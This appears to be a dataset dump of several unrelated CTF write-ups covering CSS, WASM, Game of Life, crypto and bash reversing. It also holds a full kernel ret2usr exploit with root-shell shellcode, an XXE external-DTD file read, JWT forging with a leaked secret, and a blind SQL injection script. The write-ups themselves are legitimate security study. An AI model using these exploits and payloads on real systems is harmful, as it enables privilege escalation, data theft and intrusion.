text_chunk
stringlengths 151
703k
|
---|
## CSS shitty scaling - 7 solvesWe are given a flag.html file that is 231M in size. Looking at what's inside it's clear what it does: it's using divs as individual pixels to dysplay an image trough some css animations, but it's to mutch stuff to render and the browser freezes.
flag.html```html
<html><head> <meta charset="UTF-8"></head><body><div style="width=1920px; height=1080px"><div style="display: table-row;">
<style>@keyframes slide0 { from {transform: translate(1860px, 166px);} to {transform: translate(1886px, 766px);}}</style><div style="height: 1px; width: 1px; display: table-cell; animation: slide0 5s 0s infinite alternate cubic-bezier(0,1,1,0); background-color: #000000ff;"></div>...<style>@keyframes slide800399 { from {transform: translate(808px, 359px);} to {transform: translate(-968px, -63px);}}</style><div style="height: 1px; width: 1px; display: table-cell; animation: slide800399 5s 0s infinite alternate cubic-bezier(0,1,1,0); background-color: #00000000;"></div></div>
</div></body></html>```
Testing with just a few divs you can see that each div is animated to oscillate between 2 points stopping for a bit in the middle, so the point where the div stops for longer must be the correct position in order to display the flag. With a bit more testing you can see that the point where the div stops is the point in the middle of the keyframe animation, so for example given the animation `slide0`, we are only intrested in displayng the div in this position: `transform: translate((808px - 968px) / 2, (359px - 63px) / 2)`.
One smart way to display the final image would be to calculate the final position for each div (pixel) and ricreate the image with let's say python's PIL, but i wasn't sure if translate would move the div relative to (0,0) or relative to it's current position. I went the lazy way and just changed the html so that instead of the animation, the div is drawn in the middle point.
One final catch, since the flag was written in white part of it was not readable, but changing the body background color to blue did the trick.
 |
## The challengeThat was an introductory challenge in kernel exploitation, all modern protections were disabled, source code was given, and the vulnerability was an easy to spot buffer overflow in the write handler of the module.
```c char buf[BUFSIZE];
// if(*ppos > 0 || count > BUFSIZE) // return -EFAULT;
if(raw_copy_from_user(buf, ubuf, count)) // no bounds checking at all return -EFAULT;```
So the plan to get root privileges is:- take control over saved_rip with the buffer overflow- make the kernel return to user mapped code, and execute commit_creds(prepare_kernel_creds(0))- nicely switch to userspace without crashing the kernel, to spawn a shell and read the flag
### Finding the right number of A's
```bashecho aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac > /proc/babydev```
Gives a nice kernel panic with `RIP=0x6261616862616167` which in ascii translates to `gaabhaab`
```bash~$ pwn cyclic -l gaab124```
### Putting all together
`exploit.c````c#define MAP_PRIVATE 0x02 /* Changes are private. */#define MAP_FIXED 0x10 /* Interpret addr exactly. */#define MAP_ANONYMOUS 0x20 /* Don't use a file. */#define O_RDWR 0x0002 /* open for reading and writing */
typedef unsigned long long qword;
extern void kernel_shellcode();char user_shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
qword mcpy(char * dst, char * src, qword n){ for (qword i = 0; i < n; ++i) dst[i] = src[i]; return n;}
void * mmap(void * addr, qword size, qword prot, qword flags){ return syscall64(9, addr, size, prot, flags, -1, 0);}
int _start (int argc, char **argv) { char buf[0x1000]; char * payload = buf; // Prepare memory for ret2usr void *userland_stack = mmap((void *)0xcafe000, 0x1000, 7, MAP_ANONYMOUS|MAP_PRIVATE|0x0100); void *userland_code = mmap((void *)0x1234000, 0x1000, 7, MAP_ANONYMOUS|MAP_FIXED|MAP_PRIVATE); mcpy(userland_code, &user_shellcode,sizeof(user_shellcode)); // Fill up stack until saved_rip for (int i = 0; i < 124; i++) *(payload++) = 'A'; *(qword *)payload = (qword) kernel_shellcode; payload += 8; // Profit int vuln_fd = syscall64(2, "/proc/babydev", O_RDWR,100,0, 0,0); syscall64(1, vuln_fd, buf, payload - buf, -1,-1,-1); syscall64(0x60, 0, -1,-1,-1,-1,-1); return 0;}```
`exploit.S````nasm.text.intel_syntax noprefix
.global syscall64.global kernel_shellcode
kernel_shellcode: # commit_cred(prepare_kernel_creds(0)) xor rdi, rdi mov rcx, 0xffffffff81052a60 # cat kallsyms | grep prepare_kernel_creds call rcx mov rdi, rax mov rcx, 0xffffffff81052830 # cat kallsyms | grep commit_creds call rcxcontext_switch: swapgs # ss mov r15, 0x2b push 0x2b # rsp - mmapped value mov r15, 0xcafe000 push r15 # rflags - dummy value mov r15, 0x246 push r15 # cs mov r15, 0x33 push r15 # rip - mmapped value mov r15, 0x1234000 push r15 iretqend_kernel_shellcode: nop
syscall64: pop r14 pop r15 push r15 push r14 sub rsp, 0x100
mov rax, rdi mov rdi, rsi mov rsi, rdx mov rdx, rcx mov r10, r8 mov r8,r9 mov r9, r15 syscall
add rsp, 0x100 ret```
Compilable with the command: `gcc exploit/exploit.c exploit/exploit.S -no-pie -nostdlib -fomit-frame-pointer`.
Since gcc was not available on the remote qemu instance, the exploit needed tobe compiled in local and then sent it to the remote server, this did the trick:
```pythondef send_exploit(compressed_elf): CHUNK_SZ = 256 for i in range(0, len(compressed_elf), CHUNK_SZ): chunk = compressed_elf[i: min(i + CHUNK_SZ, len(compressed_elf))] chunk = base64.b64encode(chunk) cmd = "echo %s | base64 -d >> /home/user/exp.gz" % chunk.decode() p.sendline(cmd) p.sendline("cat /home/user/exp.gz | gzip -d > /home/user/exp") p.sendline("chmod +x /home/user/exp")```
### Profit```/ $ /home/user/exp/bin/sh: can't access tty; job control turned off
/ # cat /root/flag.txtptm{y0ure_w3lc0m3_4_4ll_th15_k3rn3l_m3g4_fun}```
### References:- https://mem2019.github.io/jekyll/update/2019/01/11/Linux-Kernel-Pwn-Basics.html- https://github.com/pr0cf5/kernel-exploit-practice/tree/master/return-to-user |
### Description
Do you feel sleepy? [Let me play](https://challs.m0lecon.it:8005/) you something before bed.
### The Challenge
It was given a link to a webpage where you could play piano notes and the page responded with 3 different outputs:
- zzz... // Nice note- what's this? // Bad note- thx ...zzzzzz... // nice sequence of notes, go grab the flag (maybe)
The logic of the webpage was implemented in the html file as follows:
- Initialize wasm module to call a `review` function- onMouseDown of a certain note - get pressed note - set $(".review").text = review(note)) - if mouse holding: set $(".review").text = review('-')
### Wasm module reversing
There are lot of ways to reverse engineering a wasm file, I'm gonna enumerate some of them for the sake of completeness:
- [JEB](https://www.pnfsoftware.com/)- [ghidra_wasm](https://github.com/andr3colonel/ghidra_wasm)- [wasmdec](https://github.com/wwwg/wasmdec)- [wabt](https://github.com/WebAssembly/wabt)- [idawasm](https://www.fireeye.com/blog/threat-research/2018/10/reverse-engineering-webassembly-modules-using-the-idawasm-ida-pro-plugin.html)
With a bit of reversing you could came out with something like that:
```pythonMEM = bytearray([42, 57, 103, 126, 113, 45, 33, 33, 114, 67, 65, 58, 9, 12, 4, 5, 82, 66, 64, 25, 10, 119, 81, 66, 5, 35, 54, 91, 12, 103, 102, 34, 0, 75, 39, 56, 71, 114, 110, 91, 117, 43, 44, 50, 94, 83, 71, 90, 34, 112, 116, 109, 123, 0, 119, 104, 97, 116, 39, 115, 32, 116, 104, 105, 115, 63, 0, 122, 122, 122, 46, 46, 46, 0, 0, 0, 0, 0, 0, 0, 116, 104, 120, 32, 46, 46, 46, 122, 122, 122, 122, 122, 122, 46, 46, 46, 0, 42])
flag_idx = 0prev = 0x2a
def review(p): global flag_idx, prev flag_idx += 1 prev = MEM[flag_idx] ^ p ^ prev # check if flag starts with ptm{ if flag_idx <= 4 and prev == MEM[49 + flag_idx - 1]: return 'zzz...' else: if prev < 128: # check if it's an ascii if flag_idx == 47 and prev == ord('}'): return 'thx ...zzzzzz...' elif flag_idx < 47: return 'zzz...' else: return "what's this?"```
As one can see, there are too many notes wich satisfies those constrains, but the firstones remains constant: ccggaa.By searching on google images: `ccggaa english notes` you could find this image:

which, if played on the site, printed `thx ...zzzzzz...`
### Getting the flag
```pythonsol = ["c", "c", "g", "g", "a", "a", "g", "-", "f", "f", "e", "e", "d", "d", "c", "-", "g", "g", "f", "f", "e", "e", "d", "-", "g", "g", "f", "f", "e", "e", "d", "-", "c", "c", "g", "g", "a", "a", "g", "-", "f", "f", "e", "e", "d", "d", "c", "-"]
for note in sol: review(ord(note)) print (chr(prev), end='')
# ptm{7w1nKl3_7W1NkL3_My_w3b_574r_w3lL_Pl4y3d_hKr}``` |
### Initial footholdThe website allowed users to transform an xml to a png, containing a sort of constellation, I tried to read /etc/passwd through an xxe payload and it worked, I was a little bit stuck until another member of the team remembered me you can see directories contents, I then looked at /var/www and saw a few juicy php files, one of them was called config.php, the only problem was that a php file contains some characters (e.g. <, >) which doesn't behave well with xml, therefore I started looking for a way to bypass this limitation, one of them was using CDATA, using it leads the xml parser to avoid trying to interpret the readen file as an xml entity, it sort of sanitizes the readen file. In order to use it I had to create an external dtd file, and serve it using ngrok, the final payload looked something like
(credits to https://dzone.com/articles/xml-external-entity-xxe-limitations)
ngrok.dtd```
">"> ```
template.xml```xml
%dtd; %all;]><sky> <star x="10" y="10">&fileContents;</star></sky>```
after that I was able to read the config.php file, as well as any other php file without parsing errors.
### Controlling the jwt tokenThe config.php file had the secret key for the jwt token verification and it was using this plugin to replace the default session handling with jwt https://github.com/byjg/jwt-session.
I took a look at the admin_dashboard.php as well, and it seemed like it was checking for the user role to decide whether a user can access it, this user role was stored inside the session, after seeing this the next steps are pretty straightforward, I installed that jwt session and created a little php script to set the user role inside the session to admin, using the same private key as the server. After that I had a jwt token that was valid for the challenge as well.
```phpwithSecret("Vb8lckQX8LFPq45Exq5fy2TniLUplKGZXO2")->withTimeoutMinutes(60);$handler = new \ByJG\Session\JwtSession($sessionConfig);session_set_save_handler($handler, true);session_start();$_SESSION["id"] = 1846;$_SESSION["role"] = "admin";?>```
### SQL Injection in admin panelThe admin dashboard had a sql injection problem, in addition to the user_id post param it added any extra post param inside the query, the problem is it was doing something like
```javascriptquery = "SELECT ... user_id=:user_id";foreach ($_POST as $param){ query .= " AND $param=:param";}```
The problem with this code is that $param is not sanitized and it can contain any sql statement, the only problem was that spaces didn't behave well with the :param, the trick was to replace spaces with tabs (\t or %09 url encoded), then I just had to run a typical content-based blind sql injection on the name of the post parameter (not the value) and I got the flag
```pythonimport requestsdef tryshit(query): query = query.replace(" ", "\t") r = requests.post( "https://challs.m0lecon.it:8000/admin_dashboard", cookies={"AUTH_BEARER_default": "generated jwt token"}, data={"user_id": my_user_id, query: 15}) return r.text
import string
found = ""
while len(found)<100: print(found) for x in "abcdef" + string.digits: dio = tryshit("1=(SELECT 1 FROM flag WHERE hex(flag) LIKE '{}%') -- -".format(found+x)) if "filesize()" in dio: found+=x break``` |
# Fountain OOO REliving
Provided file is [fountain-ooo-relive](https://pastebin.com/raw/ncHEVjuw)
Theme hints at Game of Life, comment in file hints that it can be opened with Golly (a Game of Life engine). It's a really big pattern with some gridlike sections and some labels indicating that it's a computer - opcodes, RAM and ROM, etc.
But zoom in further and each pixel turns out to be made of many smaller pixels in standard Game of Life layouts. These form [OTCA Metapixels](https://www.conwaylife.com/wiki/OTCA_metapixel). Each is 2048x2048 Life cells and they can simulate the Game of Life itself, or any other similar ruleset. But something's a little different - different metapixels have different rulesets and they don't form a complete grid.
Some research into the architecture of the computer this is all being used to simulate (the names of the opcodes like "MLZ" etc make good search terms) turns up the [Quest for Tetris](https://github.com/QuestForTetris), a project to implement Tetris in Game of Life by using OTCA metapixels to build a computer which can run Tetris. A [thread](https://codegolf.stackexchange.com/questions/11880/build-a-working-game-of-tetris-in-conways-game-of-life) on Code Golf StackOverflow has a good overview of the architecture.
To play around with this more we should get it to run, but it runs very slowly because each metapixel cycle takes thousands of Life cycles and each CPU cycle takes thousands of metapixel cycles, so we should "decompile" the metapixels into single pixels in the VarLife ruleset (this is the opposite of the process Quest for Tetris used to generate the computer). `meta2varlife.lua` (run as a script within Golly) will do this by checking the pixels which program each metacell's ruleset and translating into VarLife. `Varlife.rule` (copied from Quest For Tetris) has been modified with the colors dimmed except for the "on" states which makes it much easier to read the contents of RAM and see the computer operating.
Now we can see that RAM is initially all 0 except for address 1 which has a few bits set. When we run, RAM fills up and then is modified and eventually the CPU halts. Maybe the flag is in RAM? `readram.lua` dumps the contents of RAM and we can use that to get the initial and final states (see `ram.txt`). But there's no obvious ASCII encoded text or anything like that.
The challenge is tagged as reversing so let's see what the program is doing. `readrom.lua` reads the program ROM and translates into the QFTASM assembly language (`rom.txt`), which we can run on the QFTASM [interpreter](http://play.starmaninnovations.com/qftasm/) and confirm that we get the same results there as when running in Golly. The code writes a bunch of constants into addresses 2 through 39, then subtracts a different constant XOR the value at address 1 from each of those addresses, then halts.
Since this computer has no I/O, input is done by writing directly into memory. So it seems like the value in address 1, which is never written to but is used to modify the contents of memory, is supposed to be the input, and its value affects the final value in each of the addresses 2 through 39 which the program modifies. So maybe we need to find the right value at address 1 which will end up with the flag in those addresses. We can check if we have it right because we know the flag format starts with "OOO" and it will be ASCII.
`hack.swift` simulates the program's calculations for every possible value of address 1 (it's only 16 bits so we can just brute force, no need to use some fancy solver) and filters to only those which produce valid ASCII and start with "OOO". It will quickly find the flag: `OOO{in_this_life___youre_on_your_own}`.
## Files
### meta2varlife.lua```local g = golly()
local getcell = g.getcelllocal setcell = g.setcell
local r = g.getrect()local x, y, width, height = r[1], r[2], r[3], r[4]
local mygrid = {}
-- bounding box is -8388608, -8388607, 10295296, 2965504-- print('expected bounding box:', -8388608, -8388607, 10295296, 2965504)-- print('actual bounding box: ', x, y, width, height)
-- Pixel addresses of the pixels indicating rules for a random metapixel:-- B8 -8386412 -7094915-- B7 -8386412 -7094905-- B6 -8386412 -7094895-- B5 -8386412 -7094869-- B4 -8386412 -7094859-- B3 -8386412 -7094849-- B2 -8386412 -7094823-- B1 -8386412 -7094913-- B0 -8386412 -7094803-- S8 -8386412 -7094913-- S7 -8386412 -7094903-- S6 -8386412 -7094893-- S5 -8386393 -7094867-- S4 -8386393 -7094857-- S3 -8386393 -7094847-- S2 -8386393 -7094821-- S1 -8386393 -7094911-- S0 -8386393 -7094801
-- rulesets for varlife: B/S (no metapixel), B1/S, B2s, B12/S1-- So we can just check B1 and B2-- B2 -8386412 -7094823-- B1 -8386412 -7094913-- take those relative to the x,y of bounding box, modulo 2048:-- b1: (148, 1496), b2: (148, 1506)-- now I don't really understand Varlife.rule but we can go off the colors-- and cross-reference with the colors here:-- http://play.starmaninnovations.com/varlife/BeeHkfCpNR-- [not listed] 0 -> B/S dead-- 1 255 255 255 -> B/S alive (should never happen)-- 2 0 0 255 -> B1/S dead-- 3 0 255 255 -> B1/S alive-- 4 0 255 0 -> B2/S dead-- 5 255 255 0 -> B2/S alive-- 6 255 0 0 -> B12/S1 dead-- 7 255 128 0 -> B12/S1 alive
-- finally some metapixels are enabled-- one of the pixels in the center of one which is enabled is at:-- -1754083, -7103591-- relative to bounding box, mod 2048:-- 1053, 920alive_count = 0for _y = y,y+height,2048 do local row = {} for _x = x,x+width,2048 do local b1 = getcell(148 + _x, 1506 + _y) local b2 = getcell(148 + _x, 1496 + _y) local state = getcell(1054 + _x, 920 + _y)
-- b1=0,b2=0: 0 -- b1=1,b2=0: 2 -- b1=0,b2=1: 4 -- b1=0,b2=1: 6 -- (+1 for enabled) state = state + b2 * 4 + b1 * 2
table.insert(row, state) if state == 1 then alive_count = alive_count + 1 end end table.insert(mygrid, row)end
g.addlayer()g.setrule('Varlife')
for y, row in ipairs(mygrid) do for x, state in ipairs(row) do setcell(x,y,state) endend
g.fit()```
### Varife.rule```@RULE Varlife
A mixed rule game of life designed in the Quest for Tetris
The PPCG QFT (not Quantum/Quick Fourier Transform) crew, August 10, 2016
@TREE
num_states=8num_neighbors=8num_nodes=291 0 0 2 2 4 4 6 61 0 0 3 2 4 4 7 72 0 1 0 1 0 1 0 11 0 0 2 2 5 4 7 62 1 3 1 3 1 3 1 33 2 4 2 4 2 4 2 42 3 0 3 0 3 0 3 03 4 6 4 6 4 6 4 64 5 7 5 7 5 7 5 72 0 0 0 0 0 0 0 03 6 9 6 9 6 9 6 94 7 10 7 10 7 10 7 105 8 11 8 11 8 11 8 113 9 9 9 9 9 9 9 94 10 13 10 13 10 13 10 135 11 14 11 14 11 14 11 146 12 15 12 15 12 15 12 154 13 13 13 13 13 13 13 135 14 17 14 17 14 17 14 176 15 18 15 18 15 18 15 187 16 19 16 19 16 19 16 195 17 17 17 17 17 17 17 176 18 21 18 21 18 21 18 217 19 22 19 22 19 22 19 228 20 23 20 23 20 23 20 236 21 21 21 21 21 21 21 217 22 25 22 25 22 25 22 258 23 26 23 26 23 26 23 269 24 27 24 27 24 27 24 27
@COLORS
1 32 32 322 0 0 323 0 0 1284 0 32 05 128 128 06 32 0 07 255 255 255```
### readram.lua```lualocal g = golly()
local getcell = g.getcell
-- ram is on a grid of bits 16 x 71-- bits are spaced out 22 cells apart (x and y)-- (16 bit word size)-- address 0 (lowest x value) is the program counter-- lowest y value is 1s bit-- lowest bit of pc is at 3454,32
local words = 71local word_size = 16local spacing = 22local start_x = 3454local start_y = 32
function signedshort(n) -- convert positive int to signed for 16-bit twos complement if n < 0 or n >= 1<<16 then error("Out of range: " .. n) end if n >= 1 << 15 then return n - (1 << 16) else return n endend
local output = ""for address = 0,words-1 do local x = start_x + address * spacing word = 0 for place = word_size-1,0,-1 do local y = start_y + place * spacing local bit = getcell(x, y) % 2 word = word | (bit << place) end output = output .. address .. ": " .. signedshort(word) .. "\n"end
g.setclipstr(output)g.note("RAM dump copied to clipboard")```
### ram.txt```
Initial RAM contents:0: 01: 122922: 03: 04: 0...
RAM contents after running to completion:0: -11: 122922: 164783: -162884: 164505: 164906: -162607: -162898: -163069: -1625310: -1629911: -1626412: 1651813: -1627414: -1625915: -1629816: 1646917: -1629618: -1627219: 1646420: 1646221: -1627822: 1648223: 1648824: -1628925: -1626626: 1649627: -1625828: -1628929: -1627230: 1652031: 1651032: 1651433: -1625734: -1627035: 1651036: 1648837: -1628738: 1649639: -2591740: 041: 042: 043: 4444: 045: 046: 0...```
### readrom.lua```lualocal g = golly()
local getcell = g.getcell
-- rom is a grid of instructions 58 bits high and 116 instructions wide-- it's "upside down" - opcode at the bottom-- grows leftwards, so first instruction is at the right-- bits are spaced out 11 cells apart (x and y)-- bottom right bit of ROM is at 3198,1378local instructions = 116local spacing = 11local start_x = 3198local start_y = 1378
local opcodes = { [0] = 'MNZ', [1] = 'MLZ', [2] = 'ADD', [3] = 'SUB', [4] = 'AND', [5] = 'OR' , [6] = 'XOR', [7] = 'ANT', [8] = 'SL' , [9] = 'SRL', [10] = 'SRA',}
local types = { [0] = '', [1] = 'A', [2] = 'B', [3] = 'C'}
function getbit(address, bit) local x = start_x - address * spacing local y = start_y - bit * spacing -- state of cell will be 0 or 2, convert to 0 or 1 return (getcell(x, y) == 0) and 0 or 1end
function getbits(address, bottombit, count) -- get bits for the instruction at address -- bottombit is the bit index into the instruction -- count is the count -- returns as a number local val = 0 for bit=0,count-1 do val = val | (getbit(address, bottombit + bit) << bit) end return valend
function signedshort(n) -- convert positive int to signed for 16-bit twos complement if n < 0 or n >= 1<<16 then error("Out of range: " .. n) end if n >= 1 << 15 then return n - (1 << 16) else return n endend
local output = ""for address = 0,instructions-1 do local opcode = getbits(address, 0, 4) local arg1v = getbits(address, 4, 16) local arg1t = getbits(address, 20, 2) local arg2v = getbits(address, 22, 16) local arg2t = getbits(address, 38, 2) local arg3v = getbits(address, 40, 16) local arg3t = getbits(address, 56, 2)
output = output .. address .. ". " .. opcodes[opcode] .. " " .. types[arg1t] .. signedshort(arg1v) .. " " .. types[arg2t] .. signedshort(arg2v) .. " " .. types[arg3t] .. signedshort(arg3v) .. ";\n"end
g.setclipstr(output)g.note("ROM dump copied to clipboard")```
### rom.txt```0. MLZ -1 44 43;1. XOR 0 0 2;2. MLZ -1 25971 2;3. MLZ -1 14554 3;4. MLZ -1 22445 4;5. MLZ -1 25411 5;6. MLZ -1 3743 6;7. MLZ -1 13391 7;8. MLZ -1 12059 8;9. MLZ -1 2554 9;10. MLZ -1 15823 10;11. MLZ -1 5921 11;12. MLZ -1 18009 12;13. MLZ -1 14823 13;14. MLZ -1 4757 14;15. MLZ -1 7754 15;16. MLZ -1 22480 16;17. MLZ -1 8371 17;18. MLZ -1 12418 18;19. MLZ -1 22738 19;20. MLZ -1 16499 20;21. MLZ -1 7132 21;22. MLZ -1 22793 22;23. MLZ -1 22307 23;24. MLZ -1 12485 24;25. MLZ -1 7936 25;26. MLZ -1 26630 26;27. MLZ -1 15483 27;28. MLZ -1 6471 28;29. MLZ -1 1806 29;30. MLZ -1 22705 30;31. MLZ -1 25019 31;32. MLZ -1 16442 32;33. MLZ -1 5145 33;34. MLZ -1 15593 34;35. MLZ -1 23867 35;36. MLZ -1 23738 36;37. MLZ -1 14086 37;38. MLZ -1 23123 38;39. MLZ -1 0 39;40. XOR A1 -27179 39;41. SUB A39 A2 2;42. XOR A1 -14018 39;43. SUB A39 A3 3;44. XOR A1 -22549 39;45. SUB A39 A4 4;46. XOR A1 -27735 39;47. SUB A39 A5 5;48. XOR A1 -225 39;49. SUB A39 A6 6;50. XOR A1 -15190 39;51. SUB A39 A7 7;52. XOR A1 -8339 39;53. SUB A39 A8 8;54. XOR A1 -1415 39;55. SUB A39 A9 9;56. XOR A1 -12768 39;57. SUB A39 A10 10;58. XOR A1 -6243 39;59. SUB A39 A11 11;60. XOR A1 -18725 39;61. SUB A39 A12 12;62. XOR A1 -13743 39;63. SUB A39 A13 13;64. XOR A1 -7402 39;65. SUB A39 A14 14;66. XOR A1 -4444 39;67. SUB A39 A15 15;68. XOR A1 -22495 39;69. SUB A39 A16 16;70. XOR A1 -12017 39;71. SUB A39 A17 17;72. XOR A1 -16138 39;73. SUB A39 A18 18;74. XOR A1 -22234 39;75. SUB A39 A19 19;76. XOR A1 -20283 39;77. SUB A39 A20 20;78. XOR A1 -5054 39;79. SUB A39 A21 21;80. XOR A1 -22161 39;81. SUB A39 A22 22;82. XOR A1 -22641 39;83. SUB A39 A23 23;84. XOR A1 -16096 39;85. SUB A39 A24 24;86. XOR A1 -4238 39;87. SUB A39 A25 25;88. XOR A1 -26510 39;89. SUB A39 A26 26;90. XOR A1 -13059 39;91. SUB A39 A27 27;92. XOR A1 -5726 39;93. SUB A39 A28 28;94. XOR A1 -2182 39;95. SUB A39 A29 29;96. XOR A1 -22211 39;97. SUB A39 A30 30;98. XOR A1 -28099 39;99. SUB A39 A31 31;100. XOR A1 -20296 39;101. SUB A39 A32 32;102. XOR A1 -7012 39;103. SUB A39 A33 33;104. XOR A1 -12961 39;105. SUB A39 A34 34;106. XOR A1 -21059 39;107. SUB A39 A35 35;108. XOR A1 -21210 39;109. SUB A39 A36 36;110. XOR A1 -14493 39;111. SUB A39 A37 37;112. XOR A1 -21817 39;113. SUB A39 A38 38;114. MLZ -1 -2 0;115. MLZ 0 0 0;```
### hack.swift```swiftimport Foundation
#if !swift(>=5.2)// if your system Swift on macOS is too old try "xcrun swift"#error("Requires Swift 5.2 or higher")#endif
// subtrahends are the values initially loaded into memory 2 through 39let subtrahends: [Int16] = [ 25971, 14554, 22445, 25411, 3743, 13391, 12059, 2554, 15823, 5921, 18009, 14823, 4757, 7754, 22480, 8371, 12418, 22738, 16499, 7132, 22793, 22307, 12485, 7936, 26630, 15483, 6471, 1806, 22705, 25019, 16442, 5145, 15593, 23867, 23738, 14086, 23123,]
// paddedMinuends are the values xor'd with the value in address 1// the results are then subtracted from each memory location 2 through 39 let paddedMinuends: [Int16] = [ -27179, -14018, -22549, -27735, -225, -15190, -8339, -1415, -12768, -6243, -18725, -13743, -7402, -4444, -22495, -12017, -16138, -22234, -20283, -5054, -22161, -22641, -16096, -4238, -26510, -13059, -5726, -2182, -22211, -28099, -20296, -7012, -12961, -21059, -21210, -14493, -21817,]
let result = (Int16.min...Int16.max).map { pad -> [UInt16] in // pad is the input value at address 1 // try every possible value for pad // perform the same calculation as the QFT machine // final[i] = paddedMinuend[i] ^ pad - subtrahend[i] zip(subtrahends, paddedMinuends).map { subtrahend, paddedMinuend in let minuend = paddedMinuend ^ pad return UInt16(bitPattern:minuend &- subtrahend) }}.filter { result in // filter only those which produce only single-byte results !result.contains { value in value > UInt8.max }}.compactMap { result -> String? in // convert to string (discarding any which are not valid ASCII) let bytes = result.map { short in UInt8(short) } return String(bytes: bytes, encoding: .ascii)}.first { string in // find the flag, which we know starts with "OOO" string.hasPrefix("OOO")}
print(result ?? "No solution")``` |
# KidExchange
## Problem statement
We are given [alice.py](./alice.py) and [bob.py](./bob.py),which is the code two parties communicating over a channel run.Additionally, we have a [Wireshark dump](./capture.pcapng) of their communications.
The task is to recover the flag from the said dump.
## Analysis
We notice that Alice and Bob use a bespoke system based on modular arithmetic,which means we can probably break it with some number theory.
Our goal is to emulate Bob, who decrypts the flag received from Alice.Bob does the following:```pyk = pow(e4, e7, m)key = int.to_bytes(k, 16, 'big')```so it seems that we need `e4` and `e7`, but not necessarily anything else. Now,```pye4 = pow(3, p3 * e3, m) = pow(3, p3 * (p3 + 4 * p4) % m, m)```by expanding `e3`, so we can recover `e4` easily just from `p3` and `p4`,which are available to us: Bob receives them from Alice.The other part is harder:```pye7 = (e5 + 4 * e6) % m = (e1**4 + 4 * e2**4) % m```However, `e1` and `e2` are never sent over the channel,and we come up short trying to find a number-theoretic way of recovering them from `p1` and `p2`:```pyp1 = (e1**2 - 2 * e1 * e2 + 2 * e2**2) % mp2 = (e1 * e2) % m```Maybe we could do something is `p1 = (e1 - e2)**2 % m` held, but the pesky factor of `2` before `e2**2`prevents this. Fortunately, there is a much easier path for us to take,which we find after a sufficient amount of staring at the equations:```pye7 = p1 ** 2 + 4 * p2 * (p1 + p2) - 4 * p2**2```Verifying the expansion is straightforward, but tedious.In any case, we now have `e4` and `e7` as needed, derived entirely from the captured data.
## Solution
```pyfrom binascii import unhexlify
from sage.all import *from Crypto.Cipher import AES
def main(): n = 128 m = 2**128 R = Zmod(m)
p1 = R(273788890796601263265245594347262103880) p2 = R(258572069890864811747964868343405266432) p3 = R(26837497238457670050499535274845058824) p4 = R(40856090470940388713344411229977259912) with open("payload") as f: cont = unhexlify(f.read().strip())
e3 = p3 + 4 * p4 e4 = power_mod(3, ZZ(p3) * ZZ(e3), m) e7 = p1 ** 2 + 4 * p2 * (p1 + p2) - 4 * p2**2
k = power_mod(ZZ(e4), ZZ(e7), m) key = int(k).to_bytes(16, 'big')
cipher = AES.new(key, AES.MODE_ECB)
print(cipher.decrypt(cont).decode('utf-8'))
if __name__ == "__main__": main()``` |
After connecting to the server, we are in a bash. Let's try `getflag`, as suggested by the challenge description:
```bash: cannot set terminal process group (21183): Inappropriate ioctl for devicebash: no job control in this shellbash-5.0$ getflagThere are still 13 locks locked. No flag for you.bash-5.0$```
But what exactly is `getflag` anyway? Let's find out:
```bash-5.0$ type getflaggetflag is a shell builtinbash-5.0$```
This is interesting. They modified the bash and added a new builtin. Weneed that bash binary to figure out what's going on, so let's just dumpit:
```echo 'gzip -ck9 /bin/bash | base64' | nc ooobash.challenges.ooo 5000 > bash.gz.b64```
After removing the first few lines of output as well as the bash promptat the end, and decompressing the whole thing, we have the bash binary.Let's run it locally:
```% ./ooobash[error] token not found```
Weird. This shell wants to read a token file? Where is it located? Let'sfigure it out with `strace`:
```...openat(AT_FDCWD, "/etc/ooobash/token", O_RDONLY) = -1 ENOENT (No such file or directory)...```
I guess we need that file. Let's extract it with the same method:
```% echo 'cat /etc/ooobash/token | base64 -w0' | nc ooobash.challenges.ooo 5000bash: cannot set terminal process group (5001): Inappropriate ioctl for devicebash: no job control in this shellbash-5.0$ cat /etc/ooobash/token | base64 -w0cat: /etc/ooobash/token: Permission deniedbash-5.0$```
Now that's interesting. But the bash *did* read it. Let's try again:
```% echo 'cat /etc/ooobash/token | base64 -w0' | nc ooobash.challenges.ooo 5000bash: cannot set terminal process group (21216): Inappropriate ioctl for devicebash: no job control in this shellbash-5.0$ cat /etc/ooobash/token | base64H1kOFBxMYsjJZKgLb4q+sgPEpIFIvPmjrVwNfXpdDDA=bash-5.0$```
Weird. There seems to be some race condition, and if we are lucky, wecan read the file. Good. But maybe there is something else in that`/etc/ooobash` directory? Let's find out:
```% echo 'ls /etc/ooobash' | nc ooobash.challenges.ooo 5000bash: cannot set terminal process group (5022): Inappropriate ioctl for devicebash: no job control in this shellbash-5.0$ ls /etc/ooobashflagstatetokenbash-5.0$```
So let's extract the other two files too.
The flag file (base64):
```1bRuk/tqIIIoxPdyhBuerzktGaAkbZM/JRDfTOtNhVrP7bRkNL/b8lKVuPeoRcoqi9OfwJzlPsUL6r54nK2lJE87O6HTqEDSjTxoDrG+3pk=```
The state file (again base64):
```EiH5VzrDVKDKUYRLGs1bnYws9DmkkP9MUr+WOsT2+qE=```
Decoding those files only gives us seemingly random data, so how do we usethem? Clearly the ooobash binary knows how to do it, so let's reverseengineer that `getflag` builtin. The code of the builtin:
```cint getflag_builtin(){ FILE* file; size_t flaglen; char* flag; char zero[32]; char out[104];
memset(zero, 0, 32); if(!memcmp(oootoken, zero, 32)) { printf("[error] you need to execute this on the remote server\n"); } else if(leftnum <= 0) { file = fopen("/etc/ooobash/flag", "rb"); if(!file) { printf("[error]\n"); exit(1); } fseek(file, 0, 2); flaglen = ftell(file); fseek(file, 0, 0); flag = (char *)malloc(flaglen + 1); fread(flag, 1, flaglen, file); fclose(file); flag[flaglen] = 0;
out[aes_decrypt(flag + 16, flaglen - 16, ooostate, flag, out)] = 0; printf("You are now a certified bash reverser! The flag is %s\n", out); } else { printf("There are still %d locks locked. No flag for you.\n", leftnum); } return 0;}```
